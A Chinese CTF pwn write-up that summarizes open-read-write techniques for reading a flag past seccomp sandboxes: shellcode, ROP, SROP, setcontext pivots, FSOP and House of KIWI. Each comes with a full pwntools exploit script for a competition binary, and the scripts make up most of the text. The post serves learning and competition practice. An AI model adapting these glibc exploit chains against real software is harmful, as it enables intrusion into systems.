PWN-ORW总结

在无法执行命令的沙箱环境下拿到flag

Posted by X1ng on October 28, 2021

平时比赛看到orw的题基本丢给队友,学习总结一下相关的知识

题目附件

介绍

CTF中这类PWN题目通常通过禁用execve系统调用添加沙箱,不能直接执行命令getshell,这时候需要通过调用open、read、write这样的函数打开flag,存到内存中,再输出

将三个函数开头字母作为简称,也就是orw

可以通过seccomp-tools来判断是否添加沙箱,以及查看沙箱的规则

seccomp-tools dump ./pwn

像这样就是比较经典的只允许64位的read、write、open三个系统调用,其他的系统调用号都被禁止

shellocde绕过

原理

最简单的orw,没有开启NX保护的时候,可以让程序执行自己输入的指令直接调用orw三个系统调用

以x86下的shellocde为例,x64只需要修改一下寄存器即可

#fd = open('/home/orw/flag',0)

s = '''
xor edx,edx;
mov ecx,0;
mov ebx,0x804a094;
mov eax,5;
int 0x80;
'''

#read(fd,0x804a094,0x20)

s = '''
mov edx,0x40;
mov ecx,ebx;
mov ebx,eax;
mov eax,3;
int 0x80;
'''

#write(1,0x804a094,0x20)

s = '''
mov edx,0x40;
mov ebx,1;
mov eax,4
int 0x80;
'''

例题 pwnable.tw orw

题目没有开启pie、没有开启NX,程序的主要逻辑是seccomp禁用execve系统调用,输入shellcode让程序执行

直接写入orw的三个系统调用的shellcode即可

由于栈地址也是固定的,直接在shellocde后面写入flag字符串

exp:

from pwn import *

r = 0
context(arch = 'i386', os = 'linux')
bss = 0x0804A040

if r == 1 :
	p = remote('',)
else:
	p = process('./orw')

p.recvuntil('shellcode:')


#fd = open('/home/orw/flag',0)

s = '''
xor edx,edx;
mov ecx,0;
mov ebx,0x804a094;
mov eax,5;
int 0x80;
'''

#read(fd,0x804a094,0x20)

s += '''
mov edx,0x40;
mov ecx,ebx;
mov ebx,eax;
mov eax,3;
int 0x80;
'''

#write(1,0x804a094,0x20)

s += '''
mov edx,0x40;
mov ebx,1;
mov eax,4
int 0x80;
'''
pd = asm(s)+b'/home/orw/flag\x00'
p.send(pd)
print p.recv()

p.interactive()

ROP绕过

原理

对于开启NX保护的题目,无法执行shellcode,需要通过ROP来调用orw的三个函数

例题 Hgame2020 ROP_LEVEL2

题目没开启PIE,主要逻辑是禁用execve后向bss段写入数据,后面还有一个输入可以溢出0x10字节

思路是向bss段写入调用orw三个函数的rop链后栈迁移到bss段上,调用read的时候由于要控制三个参数需要利用ret2csu的方法

exp:

#!/usr/bin/python3

from pwn import *
import sys
context.log_level = 'debug'
context.arch='amd64'

local=1
binary_name='ROP'
e=ELF("./"+binary_name)

if local:
    p=process("./"+binary_name)
else:
    p=remote('', )



def z(a=''):
    if local:
        gdb.attach(p,a)
        if a=='':
            raw_input
    else:
        pass

ru=lambda x:p.recvuntil(x)
sl=lambda x:p.sendline(x)
sd=lambda x:p.send(x)
sa=lambda a,b:p.sendafter(a,b)
sla=lambda a,b:p.sendlineafter(a,b)
ia=lambda :p.interactive()

def leak_address():
    if(context.arch=='i386'):
        return u32(p.recv(4))
    else :
        return u64(p.recv(6).ljust(8,b'\x00'))
        
leave=0x40090d
pop_rsi=0x400a41
pop_rdi=0x400a43
pop6 = 0x00400a3a
mov3 = 0x00400a20
o=e.plt['open']
r=e.plt['read']
w=e.plt['puts']
bss=0x6010a0
to_r=bss+208

pd=b'./flag\x00\x00'
pd+=p64(bss+0x100)+p64(pop_rsi)+p64(0)*2+p64(pop_rdi)+p64(bss)+p64(o)
pd+=p64(pop6)+p64(0)+p64(1)+p64(to_r)+p64(0x100)+p64(bss+0x100)+p64(4)+p64(mov3)
pd+=p64(0)*7
pd+=p64(pop_rdi)+p64(bss+0x100)+p64(w)
pd+=p64(r)

sla('Do you think so?', pd)
sla('\n',b'a'*0x50+p64(bss+8)+p64(leave))

ia()

SROP

原理

内核向某个进程发送 signal 时,会触发软中断,在用户栈上保存上下文后挂起,在signal handler 返回后,内核为这个进程执行sigreturn系统调用,该系统调用会将保存在用户栈上的上下文恢复,也就是pop各种寄存器

如果我们伪造栈上的进程上下文再直接调用sigreturn系统调用,就能通过伪造的进程上下文中的各种寄存器随意设置寄存器、跳转任意地址

具体保存上下文的格式如下,pwntools集成了工具可以快速布置栈结构,只需要判断偏移输入栈中即可

  • x86
struct sigcontext
{
  unsigned short gs, __gsh;
  unsigned short fs, __fsh;
  unsigned short es, __esh;
  unsigned short ds, __dsh;
  unsigned long edi;
  unsigned long esi;
  unsigned long ebp;
  unsigned long esp;
  unsigned long ebx;
  unsigned long edx;
  unsigned long ecx;
  unsigned long eax;
  unsigned long trapno;
  unsigned long err;
  unsigned long eip;
  unsigned short cs, __csh;
  unsigned long eflags;
  unsigned long esp_at_signal;
  unsigned short ss, __ssh;
  struct _fpstate * fpstate;
  unsigned long oldmask;
  unsigned long cr2;
};
  • x64
struct _fpstate
{
  /* FPU environment matching the 64-bit FXSAVE layout.  */
  __uint16_t        cwd;
  __uint16_t        swd;
  __uint16_t        ftw;
  __uint16_t        fop;
  __uint64_t        rip;
  __uint64_t        rdp;
  __uint32_t        mxcsr;
  __uint32_t        mxcr_mask;
  struct _fpxreg    _st[8];
  struct _xmmreg    _xmm[16];
  __uint32_t        padding[24];
};

struct sigcontext
{
  __uint64_t r8;
  __uint64_t r9;
  __uint64_t r10;
  __uint64_t r11;
  __uint64_t r12;
  __uint64_t r13;
  __uint64_t r14;
  __uint64_t r15;
  __uint64_t rdi;
  __uint64_t rsi;
  __uint64_t rbp;
  __uint64_t rbx;
  __uint64_t rdx;
  __uint64_t rax;
  __uint64_t rcx;
  __uint64_t rsp;
  __uint64_t rip;
  __uint64_t eflags;
  unsigned short cs;
  unsigned short gs;
  unsigned short fs;
  unsigned short __pad0;
  __uint64_t err;
  __uint64_t trapno;
  __uint64_t oldmask;
  __uint64_t cr2;
  __extension__ union
    {
      struct _fpstate * fpstate;
      __uint64_t __fpstate_word;
    };
  __uint64_t __reserved1 [8];
};

例题 VN 2020 公开赛 babybabypwn

题目给了libc地址并开启了pie,其逻辑是禁用了execve后允许向栈中写入数据,再进行sigreturn系统调用

由于没有找到ctf-wiki中介绍的形如syscall; ret;的gadget来进行多次SROP调用,并且也没有程序基地址,只能使用libc中的gadget构造rop链,所以SROP的时候控制程序跳转read函数,在libc上已知地址的可写段写入rop链调用orw三个函数,并控制rsp指向rop链

exp:

#!/usr/bin/python3

from pwn import *
import sys
import time

context.log_level = 'debug'
context.arch='amd64'

local=1
binary_name='babybabypwn'
libc_name='/lib/x86_64-linux-gnu/libc.so.6'

libc=ELF(libc_name)
e=ELF("./"+binary_name)

if local:
    p=process("./"+binary_name)
else:
    p=remote('', )



def z(a=''):
    if local:
        gdb.attach(p,a)
        if a=='':
            raw_input
    else:
        pass

ru=lambda x:p.recvuntil(x)
sl=lambda x:p.sendline(x)
sd=lambda x:p.send(x)
sa=lambda a,b:p.sendafter(a,b)
sla=lambda a,b:p.sendlineafter(a,b)
ia=lambda :p.interactive()

def leak_address():
    if(context.arch=='i386'):
        return u32(p.recv(4))
    else :
        return u64(p.recv(6).ljust(8,b'\x00'))

ru('Here is my gift: 0x')
libcbase=int(ru('\n')[:-1],16)-0x766b0
print('[+]libcbase: '+hex(libcbase))
        
stack=libcbase+0x1c1000
o=libcbase+libc.sym['open']
r=libcbase+libc.sym['read']
w=libcbase+libc.sym['puts']

frame=SigreturnFrame()
frame.rsp=stack
frame.rdx=0x200
frame.rsi=stack
frame.rdi=0
frame.rip=r

sla('message:',bytes(frame)[8:])

pop_rdi=libcbase+0x000000000002679e
pop_rsi=libcbase+0x00000000000288df
pop_rdx=libcbase+0x00000000000cb28d

pd=p64(pop_rdi)+p64(stack+0x100)+p64(pop_rsi)+p64(2)+p64(o)
pd+=p64(pop_rdi)+p64(3)+p64(pop_rsi)+p64(stack+0x100)+p64(pop_rdx)+p64(0x100)+p64(r)
pd+=p64(pop_rdi)+p64(stack+0x100)+p64(w)
time.sleep(0.5)
sl(pd.ljust(0x100,b'\x00')+b'./flag\x00')


ia()

利用set_context

glibc-2.29以下

在glibc-2.27下,set_context函数汇编代码如下,其中存在一段通过rdi来给各种寄存器赋值的指令,可以造成类似于SROP这样的利用

   0x7f638914d070 <setcontext>: push   rdi
   0x7f638914d071 <setcontext+1>:       lea    rsi,[rdi+0x128]
   0x7f638914d078 <setcontext+8>:       xor    edx,edx
   0x7f638914d07a <setcontext+10>:      mov    edi,0x2
   0x7f638914d07f <setcontext+15>:      mov    r10d,0x8
   0x7f638914d085 <setcontext+21>:      mov    eax,0xe
   0x7f638914d08a <setcontext+26>:      syscall 
   0x7f638914d08c <setcontext+28>:      pop    rdi
   0x7f638914d08d <setcontext+29>:      cmp    rax,0xfffffffffffff001
   0x7f638914d093 <setcontext+35>:      jae    0x7f638914d0f0 <setcontext+128>
   0x7f638914d095 <setcontext+37>:      mov    rcx,QWORD PTR [rdi+0xe0]
   0x7f638914d09c <setcontext+44>:      fldenv [rcx]
   0x7f638914d09e <setcontext+46>:      ldmxcsr DWORD PTR [rdi+0x1c0]
   0x7f638914d0a5 <setcontext+53>:      mov    rsp,QWORD PTR [rdi+0xa0]
   0x7f638914d0ac <setcontext+60>:      mov    rbx,QWORD PTR [rdi+0x80]
   0x7f638914d0b3 <setcontext+67>:      mov    rbp,QWORD PTR [rdi+0x78]
   0x7f638914d0b7 <setcontext+71>:      mov    r12,QWORD PTR [rdi+0x48]
   0x7f638914d0bb <setcontext+75>:      mov    r13,QWORD PTR [rdi+0x50]
   0x7f638914d0bf <setcontext+79>:      mov    r14,QWORD PTR [rdi+0x58]
   0x7f638914d0c3 <setcontext+83>:      mov    r15,QWORD PTR [rdi+0x60]
   0x7f638914d0c7 <setcontext+87>:      mov    rcx,QWORD PTR [rdi+0xa8]
   0x7f638914d0ce <setcontext+94>:      push   rcx
   0x7f638914d0cf <setcontext+95>:      mov    rsi,QWORD PTR [rdi+0x70]
   0x7f638914d0d3 <setcontext+99>:      mov    rdx,QWORD PTR [rdi+0x88]
   0x7f638914d0da <setcontext+106>:     mov    rcx,QWORD PTR [rdi+0x98]
   0x7f638914d0e1 <setcontext+113>:     mov    r8,QWORD PTR [rdi+0x28]
   0x7f638914d0e5 <setcontext+117>:     mov    r9,QWORD PTR [rdi+0x30]
   0x7f638914d0e9 <setcontext+121>:     mov    rdi,QWORD PTR [rdi+0x68]
   0x7f638914d0ed <setcontext+125>:     xor    eax,eax
   0x7f638914d0ef <setcontext+127>:     ret    
   0x7f638914d0f0 <setcontext+128>:     mov    rcx,QWORD PTR [rip+0x398d71]
   0x7f638914d0f7 <setcontext+135>:     neg    eax
   0x7f638914d0f9 <setcontext+137>:     mov    DWORD PTR fs:[rcx],eax
   0x7f638914d0fc <setcontext+140>:     or     rax,0xffffffffffffffff
   0x7f638914d100 <setcontext+144>:     ret

在禁用execve的情况下,不能直接free_hook跳转one_gadget拿shell,可以覆盖free_hook为 setcontext+53 的地址,则调用free时,堆中的内容就可以被赋值到各个寄存器中,其中也包括rsp,在堆上布置好rop链实现orw

其中堆块上需要填充的内容如下,与SROP中的类似,也可以使用pwntools的SigreturnFrame()生成

pd=b'a'*0x28+p64(r8)+p64(r9)+b'a'*0x10+p64(r12)+p64(r13)+p64(r14)+p64(r15)+p64(rdi)
pd+=p64(rsi)+p64(rbp)+p64(rbx)+p64(rdx)+b'a'*8+p64(rcx)+p64(rsp)+p64(jmp)

例题 CISCN 2021 初赛 silverwolf

只能使用index为0的chunk,free的时候没有清空堆地址,可以UAF,构造重叠堆块任意地址写后,需要先修改tcache中堆块的size,申请chunk将其放到unsorted_bin中从而泄露libc地址,将free_hook改为 setcontext+53 ,再free布置好调用orw三个函数的rop链的堆块

另外直接调用open函数所使用的系统调用号并不是2,所以会出现bad syscall;可以找到形如syscall; ret;这样的gadget直接ROP进行系统调用

exp:

#!/usr/bin/python3

from pwn import *
import sys
import time

context.log_level = 'debug'
context.arch='amd64'

local=1
binary_name='silverwolf'
libc_name='/home/x1ng/new/glibc-all-in-one/libs/2.27-3ubuntu1_amd64/libc.so.6'

libc=ELF(libc_name)
e=ELF("./"+binary_name)

if local:
    p=process("./"+binary_name)
else:
    p=remote('', )



def z(a=''):
    if local:
        gdb.attach(p,a)
        if a=='':
            raw_input
    else:
        pass

ru=lambda x:p.recvuntil(x)
sl=lambda x:p.sendline(x)
sd=lambda x:p.send(x)
sa=lambda a,b:p.sendafter(a,b)
sla=lambda a,b:p.sendlineafter(a,b)
ia=lambda :p.interactive()

def leak_address():
    if(context.arch=='i386'):
        return u32(p.recv(4))
    else :
        return u64(p.recv(6).ljust(8,b'\x00'))

def cho(num):
	sla('Your choice:',str(num))

def add(idx,sz):
	cho(1)
	sla('Index:',str(idx))
	sla('Size:',str(sz))

def edit(idx,val):
	cho(2)
	sla('Index:',str(idx))
	ru('Content:')
	sl(val)

def show(idx):
	cho(3)
	sla('Index:',str(idx))

def delete(idx):
	cho(4)
	sla('Index:',str(idx))


for i in range(25):
	add(0,0x78)

  
add(0,0x38)
delete(0)
show(0)
ru('Content: ')
heap=leak_address()
print('[+]heap: '+hex(heap))


edit(0,p64(heap+0xcb0))
add(0,0x38)
add(0,0x38)
edit(0,p64(0)+p64(0x501-0x20))
add(0,0x58)
delete(0)
show(0)
ru('Content: ')
libcbase=leak_address()-0x3ebca0
print('[+]libcbase: '+hex(libcbase))


for i in range(24):
	add(0,0x78)
add(0,0x58)
edit(0,'./flag\x00')

add(0,0x28)
delete(0)
add(0,0x58)
delete(0)
add(0,0x78)
delete(0)
add(0,0x48)
delete(0)

add(0,0x68)
delete(0)
edit(0,p64(heap+0x1da0))
add(0,0x68)


print('[+]libcbase: '+hex(libcbase))
setcontext=libc.sym['setcontext']+libcbase
print('[+]setcontext: '+hex(setcontext))
free_hook=libc.sym['__free_hook']+libcbase
print('[+]free_hook: '+hex(free_hook))
add(0,0x18)
delete(0)
edit(0,p64(free_hook))
add(0,0x18)
add(0,0x18)
edit(0,p64(setcontext+53))

pop_rdi_rbp=libcbase+0x221a3
pop_rdi=libcbase+0x2155f
pop_rsi=libcbase+0x23e6a
pop_rdx=libcbase+0x1b96
pop_rax=libcbase+0x439c8
syscall=libcbase+0x116758
o=libcbase+libc.sym['open']
r=libcbase+libc.sym['read']
w=libcbase+libc.sym['puts']

pd=b'a'*0x28
add(0,0x28)
edit(0,pd)


pd=p64(9)+b'a'*0x10+p64(12)+p64(13)+p64(14)+p64(15)
pd+=p64(heap+0x1140)+p64(2)+p64(0)+p64(0xaa)
add(0,0x58)
edit(0,pd)


pd=b'a'*8+p64(0xaa)+p64(heap+0x1e30+0x20)+p64(pop_rax)
pd+=p64(2)+p64(syscall)+p64(pop_rdi)+p64(3)+p64(pop_rsi)
pd+=p64(heap)+p64(pop_rdx)+p64(0x100)+p64(r)+p64(pop_rdi_rbp)+p64(heap)
add(0,0x78)
edit(0,pd)

pd=p64(w)
add(0,0x48)
edit(0,pd)

add(0,0x68)
delete(0)

ia()

但是在glibc-2.29以后,setcontext函数中的rdi变成了rdx,就需要新的利用姿势,并且有的libc环境setcontext函数中的gadget的偏移发生了改变,需要跳转到 setcontext+61的地址

glibc-2.29以上

需要找到形如mov rdx, qword ptr [rdi + 8] ; mov qword ptr [rsp], rax ; call qword ptr [rdx + 0x20]的gadget(经过测试几乎所有glibc-2.29及以上版本的libc都有类似的gadget)来控制rdx寄存器,并且保证call的地址也是可控的,以至于继续利用setcontext中的gadget

ROPgadget --binary /home/x1ng/new/glibc-all-in-one/libs/2.29-0ubuntu2_amd64/libc.so.6 | grep "mov rdx, qword ptr \[rdi"

例题 CISCN 2021 初赛 silverwolf

将 silverwolf的libc环境换成glibc-2.29进行调试调试,思路与glibc-2.27下一致,覆盖free_hook为mov rdx, qword ptr [rdi + 0x18]这样的gadget,再修改一下chunk中的填充布局即可

exp:

#!/usr/bin/python3

from pwn import *
import sys
import time

context.log_level = 'debug'
context.arch='amd64'

local=1
binary_name='silverwolf'
libc_name='/home/x1ng/new/glibc-all-in-one/libs/2.29-0ubuntu2_amd64/libc.so.6'

libc=ELF(libc_name)
e=ELF("./"+binary_name)

if local:
    p=process("./"+binary_name)
else:
    p=remote('', )

def z(a=''):
    if local:
        gdb.attach(p,a)
        if a=='':
            raw_input
    else:
        pass

ru=lambda x:p.recvuntil(x)
sl=lambda x:p.sendline(x)
sd=lambda x:p.send(x)
sa=lambda a,b:p.sendafter(a,b)
sla=lambda a,b:p.sendlineafter(a,b)
ia=lambda :p.interactive()

def leak_address():
    if(context.arch=='i386'):
        return u32(p.recv(4))
    else :
        return u64(p.recv(6).ljust(8,b'\x00'))

def cho(num):
	sla('Your choice:',str(num))

def add(idx,sz):
	cho(1)
	sla('Index:',str(idx))
	sla('Size:',str(sz))

def edit(idx,val):
	cho(2)
	sla('Index:',str(idx))
	ru('Content:')
	sl(val)

def show(idx):
	cho(3)
	sla('Index:',str(idx))

def delete(idx):
	cho(4)
	sla('Index:',str(idx))


for i in range(25):
	add(0,0x78)


add(0,0x38)
delete(0)
show(0)
ru('Content: ')
heap=leak_address()
print('[+]heap: '+hex(heap))


edit(0,p64(heap+0xcb0))
add(0,0x38)
add(0,0x38)
edit(0,p64(0)+p64(0x501-0x20))
add(0,0x58)
delete(0)
show(0)
ru('Content: ')
libcbase=leak_address()-0x1e4ca0
print('[+]libcbase: '+hex(libcbase))


for i in range(24):
	add(0,0x78)
add(0,0x58)
edit(0,'./flag\x00')

add(0,0x28)
delete(0)
add(0,0x58)
delete(0)
add(0,0x78)
delete(0)
add(0,0x48)
delete(0)

add(0,0x68)
delete(0)
edit(0,p64(heap+0x1da0))
add(0,0x68)


print('[+]libcbase: '+hex(libcbase))
setcontext=libc.sym['setcontext']+libcbase
print('[+]setcontext: '+hex(setcontext))
free_hook=libc.sym['__free_hook']+libcbase
print('[+]free_hook: '+hex(free_hook))
gadget=libcbase+0x150550 
#mov rdx, qword ptr [rdi + 8] ; mov qword ptr [rsp], rax ; call qword ptr [rdx + 0x20]



add(0,0x18)
delete(0)
edit(0,p64(free_hook))
add(0,0x18)
add(0,0x18)
edit(0,p64(gadget))

pop_rdi=libcbase+0x26542
pop_rdi_rbp=libcbase+0x270f1
pop_rsi=libcbase+0x26f9e
pop_rdx=libcbase+0x12bda6 
pop_rax=libcbase+0x47cf8
syscall=libcbase+0x10cf7f
o=libcbase+libc.sym['open']
r=libcbase+libc.sym['read']
w=libcbase+libc.sym['puts']

pd=b'a'*8+p64(heap+0x1da0)+b'a'*8+p64(setcontext+53)
add(0,0x28)
edit(0,pd)

pd=p64(9)+b'a'*0x10+p64(12)+p64(13)+p64(14)+p64(15)+p64(heap+0x1140)+p64(2)+p64(0)+p64(0xaa)
add(0,0x58)
edit(0,pd)

pd=b'a'*8+p64(0xaa)+p64(heap+0x1e30+0x20)+p64(pop_rax)+p64(2)+p64(syscall)
pd+=p64(pop_rdi)+p64(3)+p64(pop_rsi)+p64(heap)+p64(pop_rdx)+p64(0x100)+p64(r)
pd+=p64(pop_rdi_rbp)+p64(heap)
add(0,0x78)
edit(0,pd)

pd=p64(w)
add(0,0x48)
edit(0,pd)

pd=b'a'*8+p64(heap+0x1da0)+b'a'*0x10+p64(setcontext+53)
add(0,0x68)
edit(0,pd)
delete(0)

ia()

FSOP

禁用free_hook则打malloc_hook

原理

libc2.29以后,exit函数中会调用_IO_flush_all_lockp来刷新_IO_list_all 链表中所有项的文件流,其中存在可能被利用的地方

在特定的_IO_2_1_stdout_的结构情况下,存在这样一条调用链

exit->__run_exit_handlers->_IO_cleanup->_IO_flush_all_lockp->_IO_str_overflow->malloc
  1. 在执行到_IO_flush_all_lockp函数的时候,会根据_IO_2_1_stderr_文件流中的_chain字段的内容,获取_IO_2_1_stdout_的地址
  2. 如果_IO_2_1_stdout_结构体中偏移0x28处的数据大于偏移0x20处的数据0x1b,则会检查偏移0xd8处是否为_IO_str_jumps
  3. 满足条件则调用_IO_str_jumps表中的_IO_str_overflow函数,并将_IO_2_1_stdout_的地址作为参数
  4. _IO_str_overflow函数中调用malloc前有rdx, qword ptr [rdi + 0x28]这样可以通过rdi控制rdx的指令

攻击:

  • 在一个地址可控地址SROP_addr布置好SROP需要的寄存器数据

  • 任意地址写修改_IO_2_1_stderr_文件流中的_chain字段的内容为可控地址fake_io

  • 在可控地址fake_io中布置好需要的结构内容

      io  = '\x00'*0x28
      io += p64(SROP_addr)
      io  = io.ljust(0xD8,'\x00')
      io += p64(_IO_str_jumps)
    

    fake_io结构

  • 修改malloc_hook为 setcontext+53,在exit的时候完成SROP的利用

例题 CISCN 2021 初赛 silverwolf

按照上面的方法劫持_IO_2_1_stderr_文件流中的_chain字段,将伪造的_IO_2_1_stdout_结构体和SROP链的寄存器数据放在堆上,通过SROP调用read,往一个可写地址写rop链进行orw

exp:

#!/usr/bin/python3

from pwn import *
import sys
import time

context.log_level = 'debug'
context.arch='amd64'

local=1
binary_name='silverwolf'
libc_name='/home/x1ng/new/glibc-all-in-one/libs/2.29-0ubuntu2_amd64/libc.so.6'

libc=ELF(libc_name)
e=ELF("./"+binary_name)

if local:
    p=process("./"+binary_name)
else:
    p=remote('', )



def z(a=''):
    if local:
        gdb.attach(p,a)
        if a=='':
            raw_input
    else:
        pass

ru=lambda x:p.recvuntil(x)
sl=lambda x:p.sendline(x)
sd=lambda x:p.send(x)
sa=lambda a,b:p.sendafter(a,b)
sla=lambda a,b:p.sendlineafter(a,b)
ia=lambda :p.interactive()

def leak_address():
    if(context.arch=='i386'):
        return u32(p.recv(4))
    else :
        return u64(p.recv(6).ljust(8,b'\x00'))

def cho(num):
	sla('Your choice:',str(num))

def add(idx,sz):
	cho(1)
	sla('Index:',str(idx))
	sla('Size:',str(sz))

def edit(idx,val):
	cho(2)
	sla('Index:',str(idx))
	ru('Content:')
	sl(val)

def show(idx):
	cho(3)
	sla('Index:',str(idx))

def delete(idx):
	cho(4)
	sla('Index:',str(idx))


for i in range(25):
	add(0,0x78)


add(0,0x38)
delete(0)
show(0)
ru('Content: ')
heap=leak_address()
print('[+]heap: '+hex(heap))


edit(0,p64(heap+0xcb0))
add(0,0x38)
add(0,0x38)
edit(0,p64(0)+p64(0x501-0x20))
add(0,0x58)
delete(0)
show(0)
ru('Content: ')
libcbase=leak_address()-0x1e4ca0


for i in range(24):
	add(0,0x78)
add(0,0x58)



print('[+]libcbase: '+hex(libcbase))
malloc_hook=libcbase+libc.sym['__malloc_hook']
print('[+]malloc_hook: '+hex(malloc_hook))
setcontext=libcbase+libc.sym['setcontext']
print('[+]setcontext: '+hex(setcontext))
stderr=libcbase+libc.sym['_IO_2_1_stderr_']
print('[+]_IO_2_1_stderr_: '+hex(stderr))
fake_io=heap+0x1d90+0x10
print('[+]fake_io: '+hex(fake_io))
srop=heap+0x7a0-0x60
print('[+]SROP: '+hex(srop))
jumps=libcbase+0x1e6620
print('[+]_IO_str_jumps: '+hex(jumps))
stack=libcbase+0x1e7000
print('[+]fake_stack: '+hex(stack))

pop_rdi=libcbase+0x26542
pop_rsi=libcbase+0x26f9e
pop_rdx=libcbase+0x12bda6 
pop_rax=libcbase+0x47cf8
syscall=libcbase+0x10cf7f
o=libcbase+libc.sym['open']
r=libcbase+libc.sym['read']
w=libcbase+libc.sym['puts']


add(0,0x18)
delete(0)
edit(0,p64(stderr+0x60))
add(0,0x18)
add(0,0x18)
edit(0,p64(0)+p64(fake_io))


add(0,0x48)
edit(0,p64(0)*5+p64(srop))
add(0,0x48)
add(0,0x48)
edit(0,p64(0)*7+p64(jumps))


frame=SigreturnFrame()
frame.rsp=stack
frame.rdx=0x200
frame.rsi=stack
frame.rdi=0
frame.rip=r
add(0,0x68)
pd=bytes(frame)
edit(0,pd[0x60:0x60+0x50])



add(0,0x28)
delete(0)
edit(0,p64(malloc_hook))
add(0,0x28)
add(0,0x28)
edit(0,p64(setcontext+53))



cho(5)
time.sleep(0.5)
pd=p64(pop_rdi)+p64(stack+0x100)+p64(pop_rsi)+p64(2)+p64(pop_rax)+p64(2)+p64(syscall)
pd+=p64(pop_rdi)+p64(3)+p64(pop_rsi)+p64(stack+0x100)+p64(pop_rdx)+p64(0x100)+p64(r)
pd+=p64(pop_rdi)+p64(stack+0x100)+p64(w)
time.sleep(0.5)
sl(pd.ljust(0x100,b'\x00')+b'./flag\x00')


ia()

House of KIWI

禁用free_hook、malloc_hook且输入和输出都用read和write无法刷新IO缓冲区的情况下,则利用assert

原理

在触发assert的时候存在这样一条调用链:

assert->malloc_assert->fflush->_IO_file_jumps结构体中的__IO_file_sync

在调用__IO_file_sync时,rdi为_IO_2_1_stderr(在 _IO_list_all之后),rdx为_IO_helper_jumps,这两个结构体都是可写的

在无法hook且无法刷新IO缓冲区的情况下,使用house of kiwi的攻击思路是,先将SROP需要的寄存器数据——在2.29以下的libc版本写入_IO_2_1_stderr,在2.29以上的libc版本写入_IO_helper_jumps,然后覆盖 _IO_file_sync为 setcontext+53/setcontext+61,最后只要触发assert就能实现SROP

常见触发assert的方式:

  • top_chunk的size小于需要分配的大小时,调用链中的sysmalloc函数中会对top_chunk进行检查

      ...
      assert ((old_top == initial_top (av) && old_size == 0) ||
              ((unsigned long) (old_size) >= MINSIZE &&
               prev_inuse (old_top) &&
               ((unsigned long) old_end & (pagesize - 1)) == 0));
      ...
    

    size<0x20、prev_inuse位为0、其底部没有页对齐都会触发assert

  • largebin chunk的size中的flag位存在assert检验(待探究

例题 CISCN 2021 初赛 silverwolf

按照house of kiwi的方法构造好__IO_file_sync_IO_helper_jumps后任意地址写修改top_chunk的size,清空small bin后再申请chunk触发assert,之后就是SROP调用read,往一个可写地址写rop链进行orw

#!/usr/bin/python3

from pwn import *
import sys
import time

context.log_level = 'debug'
context.arch='amd64'

local=1
binary_name='silverwolf'
libc_name='/home/x1ng/new/glibc-all-in-one/libs/2.29-0ubuntu2_amd64/libc.so.6'

libc=ELF(libc_name)
e=ELF("./"+binary_name)

if local:
    p=process("./"+binary_name)
else:
    p=remote('', )



def z(a=''):
    if local:
        gdb.attach(p,a)
        if a=='':
            raw_input
    else:
        pass

ru=lambda x:p.recvuntil(x)
sl=lambda x:p.sendline(x)
sd=lambda x:p.send(x)
sa=lambda a,b:p.sendafter(a,b)
sla=lambda a,b:p.sendlineafter(a,b)
ia=lambda :p.interactive()

def leak_address():
    if(context.arch=='i386'):
        return u32(p.recv(4))
    else :
        return u64(p.recv(6).ljust(8,b'\x00'))

def cho(num):
	sla('Your choice:',str(num))

def add(idx,sz):
	cho(1)
	sla('Index:',str(idx))
	sla('Size:',str(sz))

def edit(idx,val):
	cho(2)
	sla('Index:',str(idx))
	ru('Content:')
	sl(val)

def show(idx):
	cho(3)
	sla('Index:',str(idx))

def delete(idx):
	cho(4)
	sla('Index:',str(idx))


for i in range(25):
	add(0,0x78)


add(0,0x38)
delete(0)
show(0)
ru('Content: ')
heap=leak_address()
print('[+]heap: '+hex(heap))


edit(0,p64(heap+0xcb0))
add(0,0x38)
add(0,0x38)
edit(0,p64(0)+p64(0x501-0x20))
add(0,0x58)
delete(0)
show(0)
ru('Content: ')
libcbase=leak_address()-0x1e4ca0


for i in range(24):
	add(0,0x78)
add(0,0x58)



print('[+]libcbase: '+hex(libcbase))
setcontext=libc.sym['setcontext']+libcbase
print('[+]setcontext: '+hex(setcontext))
file_=libc.sym['_IO_file_jumps']+libcbase
print('[+]_IO_file_jumps: '+hex(file_))
helper=libcbase+0x1e5960
print('[+]_IO_helper_jumps: '+hex(helper))
stack=libcbase+0x1e7000
print('[+]fake_stack: '+hex(stack))

pop_rdi=libcbase+0x26542
pop_rsi=libcbase+0x26f9e
pop_rdx=libcbase+0x12bda6 
pop_rax=libcbase+0x47cf8
syscall=libcbase+0x10cf7f
o=libcbase+libc.sym['open']
r=libcbase+libc.sym['read']
w=libcbase+libc.sym['puts']



add(0,0x18)
delete(0)
edit(0,p64(file_+0x60))
add(0,0x18)
add(0,0x18)
edit(0,p64(setcontext+53))



frame=SigreturnFrame()
frame.rsp=stack
frame.rdx=0x200
frame.rsi=stack
frame.rdi=0
frame.rip=r

add(0,0x68)
delete(0)
edit(0,p64(helper+0x60))
add(0,0x68)
add(0,0x68)
pd=bytes(frame)
edit(0,pd[0x60:0x60+0x50])



add(0,0x58)
delete(0)
edit(0,p64(heap+0x1df0))
add(0,0x58)
add(0,0x58)
edit(0,p64(0x18)*2)



add(0,0x48)
add(0,0x48)
add(0,0x48)
add(0,0x48)
add(0,0x48)

add(0,0x48)



pd=p64(pop_rdi)+p64(stack+0x100)+p64(pop_rsi)+p64(2)+p64(pop_rax)+p64(2)+p64(syscall)
pd+=p64(pop_rdi)+p64(3)+p64(pop_rsi)+p64(stack+0x100)+p64(pop_rdx)+p64(0x100)+p64(r)
pd+=p64(pop_rdi)+p64(stack+0x100)+p64(w)
time.sleep(0.5)
sl(pd.ljust(0x100,b'\x00')+b'./flag\x00')


ia()

参考资料

ctf-wiki

【pwn】orw

libc高版本劫持程序流思路学习

ByteCTF-2020

House OF Kiwi

libc高版本劫持程序流思路学习